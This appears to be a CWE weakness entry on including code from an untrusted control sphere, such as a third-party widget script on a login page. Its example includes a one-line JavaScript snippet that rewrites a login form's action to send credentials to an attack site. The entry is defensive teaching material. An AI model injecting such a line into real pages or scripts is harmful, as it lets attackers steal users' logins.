Inclusion of Functionality from Untrusted Control Sphere

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.


When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).


The following examples help to illustrate the nature of this weakness and describe methods or techniques which can be used to mitigate the risk.

Note that the examples here are by no means exhaustive and any given weakness may have many subtle varieties, each of which may require different detection methods or runtime controls.

Example One

This login webpage includes a weather widget from an external website:

<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
  <div id="WeatherWidget">
    <script type="text/javascript" src=""></script>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

...Weather widget code....
document.getElementById('loginForm').action = "";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

See Also

Data Integrity Issues

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such ...

Limit Exposure

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface throug...

Comprehensive CWE Dictionary

This view (slice) covers all the elements in CWE.

Weaknesses without Software Fault Patterns

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in...

CWE Cross-section

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful t...

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